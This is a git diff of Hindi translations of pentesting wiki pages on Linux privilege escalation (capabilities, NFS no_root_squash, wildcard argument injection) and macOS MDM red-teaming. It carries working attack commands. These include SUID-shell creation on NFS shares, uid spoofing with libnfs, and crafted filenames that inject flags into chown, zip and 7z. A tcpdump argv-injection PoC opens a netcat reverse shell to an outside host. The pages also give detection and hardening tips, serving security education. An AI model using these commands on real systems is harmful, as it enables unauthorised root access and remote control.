**CAP_SYSLOG** `dmesg_restrict` 1 पर सेट होने पर `dmesg` आउटपुट तक पहुंचने की अनुमति देता है। इन परिवर्तनों के बावजूद, **CAP_SYS_ADMIN** ऐतिहासिक पूर्ववृत्त के कारण `syslog` संचालन करने की क्षमता बनाए रखता है। @@ -1489,17 +1467,17 @@ f.write('New content for the file\n') यह एक डिफ़ॉल्ट डॉकर क्षमता है ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))। -यह क्षमता मेज़बान पर विशेषाधिकार वृद्धि (पूर्ण डिस्क पढ़ने के माध्यम से) करने की अनुमति देती है, इन शर्तों के तहत: +यह क्षमता होस्ट पर विशेषाधिकार वृद्धि (पूर्ण डिस्क पढ़ने के माध्यम से) करने की अनुमति देती है, इन शर्तों के तहत: -1. मेज़बान पर प्रारंभिक पहुंच हो (अप्रिविलेज्ड)। -2. कंटेनर पर प्रारंभिक पहुंच हो (प्रिविलेज्ड (EUID 0), और प्रभावी `CAP_MKNOD`)। -3. मेज़बान और कंटेनर को समान उपयोगकर्ता नामस्थान साझा करना चाहिए। +1. होस्ट पर प्रारंभिक पहुंच प्राप्त करें (अप्रिविलेज्ड)। +2. कंटेनर पर प्रारंभिक पहुंच प्राप्त करें (प्रिविलेज्ड (EUID 0), और प्रभावी `CAP_MKNOD`)। +3. होस्ट और कंटेनर को समान उपयोगकर्ता नामस्थान साझा करना चाहिए। **कंटेनर में एक ब्लॉक डिवाइस बनाने और एक्सेस करने के चरण:** -1. **मेज़बान पर एक मानक उपयोगकर्ता के रूप में:** +1. **होस्ट पर एक मानक उपयोगकर्ता के रूप में:** -- `id` के साथ अपने वर्तमान उपयोगकर्ता आईडी का निर्धारण करें, जैसे `uid=1000(standarduser)`। +- `id` के साथ अपने वर्तमान उपयोगकर्ता आईडी का निर्धारण करें, उदाहरण के लिए, `uid=1000(standarduser)`। - लक्षित डिवाइस की पहचान करें, उदाहरण के लिए, `/dev/sdb`। 2. **कंटेनर के अंदर `root` के रूप में:** @@ -1522,7 +1500,7 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` -यह दृष्टिकोण मानक उपयोगकर्ता को कंटेनर के माध्यम से `/dev/sdb` से डेटा तक पहुंचने और संभावित रूप से पढ़ने की अनुमति देता है, साझा उपयोगकर्ता नामस्थान और डिवाइस पर सेट की गई अनुमतियों का लाभ उठाते हुए। +यह दृष्टिकोण मानक उपयोगकर्ता को `/dev/sdb` से डेटा तक पहुंचने और संभावित रूप से पढ़ने की अनुमति देता है, कंटेनर के माध्यम से, साझा उपयोगकर्ता नामस्थान और डिवाइस पर सेट की गई अनुमतियों का लाभ उठाते हुए। ### CAP_SETPCAP @@ -1530,9 +1508,9 @@ head /proc/12345/root/dev/sdb **`CAP_SETPCAP`** एक Linux क्षमता है जो एक प्रक्रिया को **दूसरी प्रक्रिया के क्षमता सेट को संशोधित करने** की अनुमति देती है। यह अन्य प्रक्रियाओं के प्रभावी, विरासत में मिलने वाले, और अनुमत क्षमता सेट से क्षमताओं को जोड़ने या हटाने की क्षमता प्रदान करती है। हालाँकि, इस क्षमता के उपयोग पर कुछ प्रतिबंध हैं। -`CAP_SETPCAP` वाली एक प्रक्रिया **केवल उन क्षमताओं को प्रदान या हटा सकती है जो उसके अपने अनुमत क्षमता सेट में हैं**। दूसरे शब्दों में, एक प्रक्रिया किसी अन्य प्रक्रिया को क्षमता नहीं दे सकती यदि उसके पास वह क्षमता स्वयं नहीं है। यह प्रतिबंध एक प्रक्रिया को किसी अन्य प्रक्रिया के विशेषाधिकारों को अपने स्तर से अधिक बढ़ाने से रोकता है। +`CAP_SETPCAP` वाली एक प्रक्रिया **केवल उन क्षमताओं को प्रदान या हटा सकती है जो उसके अपने अनुमत क्षमता सेट में हैं**। दूसरे शब्दों में, यदि किसी प्रक्रिया के पास स्वयं वह क्षमता नहीं है, तो वह किसी अन्य प्रक्रिया को वह क्षमता नहीं दे सकती। यह प्रतिबंध एक प्रक्रिया को किसी अन्य प्रक्रिया के विशेषाधिकारों को अपने स्तर से अधिक बढ़ाने से रोकता है। -इसके अलावा, हाल के कर्नेल संस्करणों में, `CAP_SETPCAP` क्षमता को **और अधिक प्रतिबंधित** किया गया है। यह अब एक प्रक्रिया को अन्य प्रक्रियाओं के क्षमता सेट को मनमाने ढंग से संशोधित करने की अनुमति नहीं देता। इसके बजाय, यह **केवल एक प्रक्रिया को अपने अनुमत क्षमता सेट या अपने वंशजों के अनुमत क्षमता सेट में क्षमताओं को कम करने की अनुमति देता है**। यह परिवर्तन क्षमता से संबंधित संभावित सुरक्षा जोखिमों को कम करने के लिए पेश किया गया था। +इसके अलावा, हाल के कर्नेल संस्करणों में, `CAP_SETPCAP` क्षमता को **और अधिक सीमित** किया गया है। यह अब एक प्रक्रिया को अन्य प्रक्रियाओं के क्षमता सेट को मनमाने ढंग से संशोधित करने की अनुमति नहीं देती। इसके बजाय, यह **केवल एक प्रक्रिया को अपने अनुमत क्षमता सेट या अपने वंशजों के अनुमत क्षमता सेट में क्षमताओं को कम करने की अनुमति देती है**। यह परिवर्तन क्षमता से संबंधित संभावित सुरक्षा जोखिमों को कम करने के लिए पेश किया गया था। `CAP_SETPCAP` का प्रभावी ढंग से उपयोग करने के लिए, आपके पास अपने प्रभावी क्षमता सेट में क्षमता होनी चाहिए और लक्षित क्षमताएँ आपके अनुमत क्षमता सेट में होनी चाहिए। आप फिर अन्य प्रक्रियाओं के क्षमता सेट को संशोधित करने के लिए `capset()` सिस्टम कॉल का उपयोग कर सकते हैं। @@ -1540,7 +1518,7 @@ head /proc/12345/root/dev/sdb ## संदर्भ -**इनमें से अधिकांश उदाहरण** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) के कुछ प्रयोगशालाओं से लिए गए हैं, इसलिए यदि आप इन प्रिवेस्क तकनीकों का अभ्यास करना चाहते हैं तो मैं इन प्रयोगशालाओं की सिफारिश करता हूँ। +**इनमें से अधिकांश उदाहरण** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) के कुछ प्रयोगशालाओं से लिए गए थे, इसलिए यदि आप इन प्रिवेस्क तकनीकों का अभ्यास करना चाहते हैं, तो मैं इन प्रयोगशालाओं की सिफारिश करता हूँ। **अन्य संदर्भ**: diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index e4f6264e7..5aeb95406 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,14 +1,16 @@ +# NFS No Root Squash Misconfiguration Privilege Escalation + {{#include ../../banners/hacktricks-training.md}} -# Squashing Basic Info +## Squashing Basic Info -NFS आमतौर पर (विशेष रूप से लिनक्स में) क्लाइंट द्वारा फ़ाइलों तक पहुँचने के लिए निर्दिष्ट `uid` और `gid` पर भरोसा करेगा (यदि kerberos का उपयोग नहीं किया गया है)। हालाँकि, कुछ कॉन्फ़िगरेशन हैं जो सर्वर में **इस व्यवहार को बदलने** के लिए सेट किए जा सकते हैं: +NFS आमतौर पर (विशेष रूप से लिनक्स में) क्लाइंट द्वारा फ़ाइलों तक पहुँचने के लिए निर्दिष्ट `uid` और `gid` पर भरोसा करेगा (यदि kerberos का उपयोग नहीं किया गया है)। हालाँकि, कुछ कॉन्फ़िगरेशन हैं जो सर्वर में सेट किए जा सकते हैं ताकि **इस व्यवहार को बदल सकें**: - **`all_squash`**: यह सभी पहुँच को **`nobody`** (65534 unsigned / -2 signed) पर मैप करके दबा देता है। इसलिए, हर कोई `nobody` है और कोई उपयोगकर्ता उपयोग नहीं किया जाता है। - **`root_squash`/`no_all_squash`**: यह लिनक्स पर डिफ़ॉल्ट है और **केवल uid 0 (root) के साथ पहुँच को दबाता है**। इसलिए, कोई भी `UID` और `GID` पर भरोसा किया जाता है लेकिन `0` को `nobody` में दबा दिया जाता है (इसलिए कोई रूट अनुकरण संभव नहीं है)। - **``no_root_squash`**: यदि यह कॉन्फ़िगरेशन सक्षम है तो यह रूट उपयोगकर्ता को भी नहीं दबाता है। इसका मतलब है कि यदि आप इस कॉन्फ़िगरेशन के साथ एक निर्देशिका को माउंट करते हैं, तो आप इसे रूट के रूप में एक्सेस कर सकते हैं। -**/etc/exports** फ़ाइल में, यदि आप किसी निर्देशिका को **no_root_squash** के रूप में कॉन्फ़िगर करते हुए पाते हैं, तो आप **एक क्लाइंट के रूप में** इसे **एक्सेस** कर सकते हैं और उस निर्देशिका के अंदर **लिख सकते हैं** **जैसे** कि आप मशीन के स्थानीय **रूट** थे। +**/etc/exports** फ़ाइल में, यदि आप कुछ निर्देशिका पाते हैं जो **no_root_squash** के रूप में कॉन्फ़िगर की गई है, तो आप **एक क्लाइंट के रूप में** इसे **एक्सेस** कर सकते हैं और उस निर्देशिका के अंदर **लिख सकते हैं** **जैसे** कि आप मशीन के स्थानीय **रूट** थे। **NFS** के बारे में अधिक जानकारी के लिए देखें: @@ -16,14 +18,14 @@ NFS आमतौर पर (विशेष रूप से लिनक्स ../../network-services-pentesting/nfs-service-pentesting.md {{#endref}} -# Privilege Escalation +## Privilege Escalation -## Remote Exploit +### Remote Exploit -Option 1 using bash: -- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट किए गए फ़ोल्डर के अंदर **/bin/bash** बाइनरी को कॉपी करना और इसे **SUID** अधिकार देना, और **शिकार** मशीन से उस बाश बाइनरी को निष्पादित करना। +विकल्प 1 bash का उपयोग करते हुए: +- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट किए गए फ़ोल्डर के अंदर **/bin/bash** बाइनरी को कॉपी करना और इसे **SUID** अधिकार देना, और **शिकार** मशीन से उस bash बाइनरी को निष्पादित करना। - ध्यान दें कि NFS शेयर के अंदर रूट होने के लिए, **`no_root_squash`** को सर्वर में कॉन्फ़िगर किया जाना चाहिए। -- हालाँकि, यदि सक्षम नहीं किया गया है, तो आप बाइनरी को NFS शेयर में कॉपी करके और इसे उस उपयोगकर्ता के रूप में SUID अनुमति देकर अन्य उपयोगकर्ता में वृद्धि कर सकते हैं, जिसे आप बढ़ाना चाहते हैं। +- हालाँकि, यदि सक्षम नहीं है, तो आप बाइनरी को NFS शेयर में कॉपी करके और इसे उस उपयोगकर्ता के रूप में SUID अनुमति देकर अन्य उपयोगकर्ता में वृद्धि कर सकते हैं, जिसे आप बढ़ाना चाहते हैं। ```bash #Attacker, as root user mkdir /tmp/pe @@ -52,19 +54,19 @@ chmod +s payload cd ./payload #ROOT shell ``` -## Local Exploit +### Local Exploit -> [!NOTE] -> ध्यान दें कि यदि आप अपने मशीन से पीड़ित मशीन तक एक **टनेल बना सकते हैं, तो आप इस विशेषाधिकार वृद्धि का शोषण करने के लिए रिमोट संस्करण का उपयोग कर सकते हैं, आवश्यक पोर्ट्स को टनल करते हुए**।\ -> निम्नलिखित ट्रिक उस स्थिति में है जब फ़ाइल `/etc/exports` **एक IP को इंगित करती है**। इस मामले में आप **किसी भी स्थिति में** **रिमोट शोषण** का उपयोग नहीं कर पाएंगे और आपको **इस ट्रिक का दुरुपयोग करना होगा**।\ -> शोषण के काम करने के लिए एक और आवश्यक आवश्यकता है कि **`/etc/export` के अंदर का निर्यात** **`insecure` फ्लैग का उपयोग कर रहा हो**।\ -> --_मुझे यकीन नहीं है कि यदि `/etc/export` एक IP पते को इंगित कर रहा है तो यह ट्रिक काम करेगी_-- +> [!TIP] +> ध्यान दें कि यदि आप अपनी मशीन से पीड़ित मशीन तक एक **टनेल बना सकते हैं, तो आप इस विशेषाधिकार वृद्धि का शोषण करने के लिए दूरस्थ संस्करण का उपयोग कर सकते हैं, आवश्यक पोर्ट्स को टनल करते हुए**।\ +> निम्नलिखित ट्रिक उस स्थिति में है जब फ़ाइल `/etc/exports` **एक IP** को **संकेत करती है**। इस मामले में आप **किसी भी स्थिति में** **दूरस्थ शोषण** का उपयोग नहीं कर पाएंगे और आपको **इस ट्रिक का दुरुपयोग करना होगा**।\ +> शोषण के काम करने के लिए एक और आवश्यक शर्त यह है कि **`/etc/export` के अंदर निर्यात** **`insecure` फ्लैग का उपयोग कर रहा होना चाहिए**।\ +> --_मुझे यकीन नहीं है कि यदि `/etc/export` एक IP पते को संकेत कर रहा है तो यह ट्रिक काम करेगी_-- -## Basic Information +### Basic Information परिदृश्य में एक स्थानीय मशीन पर एक माउंटेड NFS शेयर का शोषण करना शामिल है, NFSv3 विनिर्देशन में एक दोष का लाभ उठाते हुए जो क्लाइंट को अपने uid/gid को निर्दिष्ट करने की अनुमति देता है, संभावित रूप से अनधिकृत पहुंच सक्षम करता है। शोषण में [libnfs](https://github.com/sahlberg/libnfs) का उपयोग शामिल है, जो NFS RPC कॉल के निर्माण की अनुमति देने वाली एक लाइब्रेरी है। -### Compiling the Library +#### Compiling the Library लाइब्रेरी संकलन चरणों में कर्नेल संस्करण के आधार पर समायोजन की आवश्यकता हो सकती है। इस विशेष मामले में, fallocate syscalls को टिप्पणी की गई थी। संकलन प्रक्रिया में निम्नलिखित कमांड शामिल हैं: ```bash @@ -73,7 +75,7 @@ cd make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -### एक्सप्लॉइट करना +#### एक्सप्लॉइट करना एक्सप्लॉइट में एक साधारण C प्रोग्राम (`pwn.c`) बनाना शामिल है जो रूट के लिए विशेषाधिकार बढ़ाता है और फिर एक शेल निष्पादित करता है। प्रोग्राम को संकलित किया जाता है, और परिणामी बाइनरी (`a.out`) को suid रूट के साथ शेयर पर रखा जाता है, RPC कॉल में uid को फेक करने के लिए `ld_nfs.so` का उपयोग करते हुए: @@ -95,9 +97,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ /mnt/share/a.out #root ``` -## Bonus: NFShell for Stealthy File Access +### Bonus: NFShell for Stealthy File Access -एक बार जब रूट एक्सेस प्राप्त हो जाता है, NFS शेयर के साथ बातचीत करने के लिए बिना स्वामित्व बदले (निशान छोड़ने से बचने के लिए), एक Python स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट uid को उस फ़ाइल के uid से मेल खाने के लिए समायोजित करती है जिसे एक्सेस किया जा रहा है, जिससे शेयर पर फ़ाइलों के साथ बातचीत करने की अनुमति मिलती है बिना अनुमति समस्याओं के: +एक बार जब रूट एक्सेस प्राप्त हो जाता है, NFS शेयर के साथ इंटरैक्ट करने के लिए बिना स्वामित्व बदले (निशान छोड़ने से बचने के लिए), एक Python स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट uid को उस फ़ाइल के uid से मेल खाने के लिए समायोजित करती है जिसे एक्सेस किया जा रहा है, जिससे शेयर पर फ़ाइलों के साथ अनुमति समस्याओं के बिना इंटरैक्शन की अनुमति मिलती है: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 524ac7d05..75fda53ec 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,11 +1,12 @@ -# RunC Privilege Escalation +# RunC विशेषाधिकार वृद्धि {{#include ../../banners/hacktricks-training.md}} -## Basic information +## बुनियादी जानकारी यदि आप **runc** के बारे में अधिक जानना चाहते हैं तो निम्नलिखित पृष्ठ देखें: + {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md {{#endref}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index ba9a61bc6..28011c8b0 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> Wildcard (जिसे *glob* भी कहा जाता है) **argument injection** तब होती है जब एक विशेषाधिकार प्राप्त स्क्रिप्ट एक Unix बाइनरी जैसे `tar`, `chown`, `rsync`, `zip`, `7z`, … को एक बिना उद्धृत वाइल्डकार्ड जैसे `*` के साथ चलाती है। +> Wildcard (aka *glob*) **argument injection** तब होती है जब एक विशेषाधिकार प्राप्त स्क्रिप्ट एक Unix बाइनरी जैसे `tar`, `chown`, `rsync`, `zip`, `7z`, … को एक अनकोटेड वाइल्डकार्ड जैसे `*` के साथ चलाती है। > चूंकि शेल वाइल्डकार्ड को बाइनरी को निष्पादित करने से **पहले** विस्तारित करता है, एक हमलावर जो कार्यशील निर्देशिका में फ़ाइलें बना सकता है, वह फ़ाइल नाम तैयार कर सकता है जो `-` से शुरू होते हैं ताकि उन्हें **डेटा के बजाय विकल्पों के रूप में** व्याख्यायित किया जा सके, प्रभावी रूप से मनमाने ध्वजों या यहां तक कि आदेशों को तस्करी करने में सक्षम हो। > यह पृष्ठ 2023-2025 के लिए सबसे उपयोगी प्राइमिटिव, हाल के शोध और आधुनिक पहचान को एकत्र करता है। @@ -13,12 +13,12 @@ # attacker-controlled directory touch "--reference=/root/secret``file" # ← filename becomes an argument ``` -जब रूट बाद में कुछ इस तरह निष्पादित करता है: +जब रूट बाद में कुछ ऐसा निष्पादित करता है: ```bash chown -R alice:alice *.php chmod -R 644 *.php ``` -`--reference=/root/secret``file` इंजेक्ट किया गया है, जिससे *सभी* मिलान करने वाले फ़ाइलें `/root/secret``file` के स्वामित्व/अनुमतियों को विरासत में लेती हैं। +`--reference=/root/secret``file` इंजेक्ट किया गया है, जिससे *सभी* मेल खाने वाले फ़ाइलें `/root/secret``file` के स्वामित्व/अनुमतियों को विरासत में लेती हैं। *PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (संयुक्त हमला)। विवरण के लिए क्लासिक DefenseCode पेपर भी देखें। @@ -86,38 +86,83 @@ touch @root.txt # tells 7z to use root.txt as file list ```bash zip result.zip files -T --unzip-command "sh -c id" ``` -Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file. +Inject करें फ्लैग को एक तैयार की गई फ़ाइल नाम के माध्यम से और प्रतीक्षा करें कि विशेषाधिकार प्राप्त बैकअप स्क्रिप्ट `zip -T` (परीक्षण संग्रह) को परिणामस्वरूप फ़ाइल पर कॉल करे। --- ## अतिरिक्त बाइनरी जो वाइल्डकार्ड इंजेक्शन के प्रति संवेदनशील हैं (2023-2025 त्वरित सूची) -निम्नलिखित कमांडों का आधुनिक CTFs और वास्तविक वातावरण में दुरुपयोग किया गया है। पेलोड हमेशा एक *फाइलनाम* के रूप में बनाया जाता है जो एक लिखने योग्य निर्देशिका के अंदर होता है जिसे बाद में वाइल्डकार्ड के साथ संसाधित किया जाएगा: +निम्नलिखित कमांड्स को आधुनिक CTFs और वास्तविक वातावरण में दुरुपयोग किया गया है। पेलोड हमेशा एक *फाइल नाम* के रूप में बनाया जाता है जो एक लिखने योग्य निर्देशिका के अंदर होता है जिसे बाद में वाइल्डकार्ड के साथ संसाधित किया जाएगा: -| बाइनरी | दुरुपयोग करने के लिए ध्वज | प्रभाव | +| बाइनरी | दुरुपयोग करने के लिए फ्लैग | प्रभाव | | --- | --- | --- | | `bsdtar` | `--newer-mtime=@` → मनमाना `@file` | फ़ाइल सामग्री पढ़ें | | `flock` | `-c ` | कमांड निष्पादित करें | -| `git` | `-c core.sshCommand=` | SSH के माध्यम से git के माध्यम से कमांड निष्पादन | +| `git` | `-c core.sshCommand=` | SSH के माध्यम से git के जरिए कमांड निष्पादन | | `scp` | `-S ` | ssh के बजाय मनमाना प्रोग्राम उत्पन्न करें | ये प्राइमिटिव *tar/rsync/zip* क्लासिक्स की तुलना में कम सामान्य हैं लेकिन शिकार करते समय जांचने लायक हैं। --- -## पहचान और हार्डनिंग +## tcpdump रोटेशन हुक (-G/-W/-z): argv इंजेक्शन के माध्यम से RCE + +जब एक प्रतिबंधित शेल या विक्रेता रैपर उपयोगकर्ता-नियंत्रित फ़ील्ड (जैसे, "फाइल नाम" पैरामीटर) को बिना सख्त उद्धरण/मान्यता के जोड़कर `tcpdump` कमांड लाइन बनाता है, तो आप अतिरिक्त `tcpdump` फ्लैग्स को चुराने में सक्षम होते हैं। `-G` (समय-आधारित रोटेशन), `-W` (फाइलों की संख्या सीमित करें), और `-z ` (पोस्ट-रोटेट कमांड) का संयोजन मनमाने कमांड निष्पादन का परिणाम देता है जैसे कि उपयोगकर्ता tcpdump चला रहा है (अक्सर उपकरणों पर root)। + +पूर्व शर्तें: + +- आप `tcpdump` को पास किए गए `argv` को प्रभावित कर सकते हैं (जैसे, `/debug/tcpdump --filter=... --file-name=` के माध्यम से)। +- रैपर फ़ाइल नाम क्षेत्र में स्पेस या `-`-पूर्वकृत टोकन को साफ नहीं करता है। + +क्लासिक PoC (एक लिखने योग्य पथ से एक रिवर्स शेल स्क्रिप्ट निष्पादित करता है): +```sh +# Reverse shell payload saved on the device (e.g., USB, tmpfs) +cat > /mnt/disk1_1/rce.sh <<'EOF' +#!/bin/sh +rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f +EOF +chmod +x /mnt/disk1_1/rce.sh + +# Inject additional tcpdump flags via the unsafe "file name" field +/debug/tcpdump --filter="udp port 1234" \ +--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh" + +# On the attacker host +nc -6 -lvnp 4444 & +# Then send any packet that matches the BPF to force a rotation +printf x | nc -u -6 [victim_ipv6] 1234 +``` +Details: + +- `-G 1 -W 1` पहले मिलान वाले पैकेट के बाद तुरंत घुमाने के लिए मजबूर करता है। +- `-z ` हर घुमाव पर पोस्ट-घुमाव कमांड चलाता है। कई बिल्ड ` ` निष्पादित करते हैं। यदि `` एक स्क्रिप्ट/इंटरप्रेटर है, तो सुनिश्चित करें कि तर्क प्रबंधन आपके पेलोड से मेल खाता है। + +No-removable-media variants: + +- यदि आपके पास फ़ाइलें लिखने के लिए कोई अन्य प्राइमिटिव है (जैसे, एक अलग कमांड रैपर जो आउटपुट रीडायरेक्शन की अनुमति देता है), तो अपनी स्क्रिप्ट को एक ज्ञात पथ में डालें और `-z /bin/sh /path/script.sh` या `-z /path/script.sh` को प्लेटफ़ॉर्म अर्थशास्त्र के अनुसार ट्रिगर करें। +- कुछ विक्रेता रैपर हमलावर-नियंत्रित स्थानों पर घुमाते हैं। यदि आप घुमाए गए पथ को प्रभावित कर सकते हैं (सिंबलिंक/डायरेक्टरी ट्रैवर्सल), तो आप `-z` को ऐसा सामग्री निष्पादित करने के लिए निर्देशित कर सकते हैं जिसे आप पूरी तरह से नियंत्रित करते हैं बिना बाहरी मीडिया के। + +Hardening tips for vendors: + +- कभी भी उपयोगकर्ता-नियंत्रित स्ट्रिंग्स को सीधे `tcpdump` (या किसी भी उपकरण) को सख्त अनुमति सूचियों के बिना न दें। उद्धरण और मान्य करें। +- रैपर में `-z` कार्यक्षमता को उजागर न करें; tcpdump को एक निश्चित सुरक्षित टेम्पलेट के साथ चलाएं और अतिरिक्त ध्वजों को पूरी तरह से अस्वीकार करें। +- tcpdump विशेषाधिकारों को छोड़ें (cap_net_admin/cap_net_raw केवल) या एक समर्पित अप्रिविलेज्ड उपयोगकर्ता के तहत AppArmor/SELinux संकुचन के साथ चलाएं। + +## Detection & Hardening 1. **महत्वपूर्ण स्क्रिप्ट में शेल ग्लोबिंग को निष्क्रिय करें**: `set -f` (`set -o noglob`) वाइल्डकार्ड विस्तार को रोकता है। -2. **आर्गुमेंट्स को उद्धृत या एस्केप करें**: `tar -czf "$dst" -- *` *सुरक्षित* नहीं है — `find . -type f -print0 | xargs -0 tar -czf "$dst"` को प्राथमिकता दें। -3. **स्पष्ट पथ**: `*` के बजाय `/var/www/html/*.log` का उपयोग करें ताकि हमलावर `-` से शुरू होने वाली सहोदर फ़ाइलें नहीं बना सकें। -4. **कम से कम विशेषाधिकार**: जब भी संभव हो, बैकअप/रखरखाव कार्यों को रूट के बजाय एक अप्रिविलेज्ड सेवा खाते के रूप में चलाएं। +2. **तर्कों को उद्धृत या एस्केप करें**: `tar -czf "$dst" -- *` *सुरक्षित* नहीं है — `find . -type f -print0 | xargs -0 tar -czf "$dst"` को प्राथमिकता दें। +3. **स्पष्ट पथ**: `/var/www/html/*.log` का उपयोग करें `*` के बजाय ताकि हमलावर ऐसे भाई-फाइलें न बना सकें जो `-` से शुरू होती हैं। +4. **कम से कम विशेषाधिकार**: बैकअप/रखरखाव कार्यों को संभव हो तो रूट के बजाय एक अप्रिविलेज्ड सेवा खाते के रूप में चलाएं। 5. **निगरानी**: Elastic का पूर्व-निर्मित नियम *Potential Shell via Wildcard Injection* `tar --checkpoint=*`, `rsync -e*`, या `zip --unzip-command` के तुरंत बाद एक शेल चाइल्ड प्रोसेस की तलाश करता है। EQL क्वेरी को अन्य EDRs के लिए अनुकूलित किया जा सकता है। --- -## संदर्भ +## References -* Elastic Security – Potential Shell via Wildcard Injection Detected rule (अंतिम अपडेट 2025) -* Rutger Flohil – “macOS — Tar wildcard injection” (18 दिसंबर 2024) +* Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025) +* Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024) +* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/) +* FiberGateway GR241AG – [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 662f5e2fd..5782f0973 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -8,10 +8,11 @@ - JAMF Pro: `jamf checkJSSConnection` - Kandji -यदि आप प्रबंधन प्लेटफ़ॉर्म तक पहुँचने के लिए **व्यवस्थापक क्रेडेंशियल्स से समझौता** करने में सफल होते हैं, तो आप **संभावित रूप से सभी कंप्यूटरों से समझौता** कर सकते हैं अपने मैलवेयर को मशीनों में वितरित करके। +यदि आप प्रबंधन प्लेटफ़ॉर्म तक पहुँचने के लिए **व्यवस्थापक क्रेडेंशियल्स से समझौता** करने में सफल होते हैं, तो आप मशीनों में अपने मैलवेयर को वितरित करके **सभी कंप्यूटरों से समझौता** कर सकते हैं। MacOS वातावरण में रेड टीमिंग के लिए MDMs के काम करने के तरीके की कुछ समझ होना अत्यधिक अनुशंसित है: + {{#ref}} macos-mdm/ {{#endref}} @@ -20,11 +21,11 @@ macos-mdm/ एक MDM के पास प्रोफाइल स्थापित करने, क्वेरी करने या हटाने, एप्लिकेशन स्थापित करने, स्थानीय व्यवस्थापक खाते बनाने, फर्मवेयर पासवर्ड सेट करने, FileVault कुंजी बदलने की अनुमति होगी... -अपने स्वयं के MDM को चलाने के लिए आपको **अपने CSR को एक विक्रेता द्वारा हस्ताक्षरित** कराना होगा, जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) से प्राप्त करने की कोशिश कर सकते हैं। और Apple उपकरणों के लिए अपने स्वयं के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं। +अपने स्वयं के MDM को चलाने के लिए आपको **अपने CSR को एक विक्रेता द्वारा साइन कराना** होगा, जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) से प्राप्त करने की कोशिश कर सकते हैं। और Apple उपकरणों के लिए अपने स्वयं के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं। -हालांकि, एक नामांकित उपकरण में एप्लिकेशन स्थापित करने के लिए, आपको अभी भी इसे एक डेवलपर खाते द्वारा हस्ताक्षरित कराने की आवश्यकता है... हालाँकि, MDM नामांकन के दौरान **उपकरण MDM के SSL प्रमाणपत्र को एक विश्वसनीय CA के रूप में जोड़ता है**, इसलिए आप अब कुछ भी हस्ताक्षरित कर सकते हैं। +हालांकि, एक नामांकित उपकरण में एप्लिकेशन स्थापित करने के लिए, आपको इसे एक डेवलपर खाते द्वारा साइन कराना होगा... हालाँकि, MDM नामांकन के दौरान **उपकरण MDM के SSL प्रमाणपत्र को एक विश्वसनीय CA के रूप में जोड़ता है**, इसलिए आप अब कुछ भी साइन कर सकते हैं। -MDM में उपकरण को नामांकित करने के लिए, आपको एक **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करना होगा, जिसे **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे ज़िप में संकुचित कर सकते हैं और जब इसे सफारी से डाउनलोड किया जाता है, तो यह अनसंकुचित हो जाएगा)। +MDM में उपकरण को नामांकित करने के लिए, आपको **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करना होगा, जिसे **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे ज़िप में संकुचित कर सकते हैं और जब इसे सफारी से डाउनलोड किया जाता है, तो यह अनसंकुचित हो जाएगा)। **Mythic एजेंट Orthrus** इस तकनीक का उपयोग करता है। @@ -34,7 +35,7 @@ JAMF **कस्टम स्क्रिप्ट** (sysadmin द्वार #### JAMF स्व-नामांकन -जैसे पृष्ठ पर जाएं `https://.jamfcloud.com/enroll/` यह देखने के लिए कि क्या 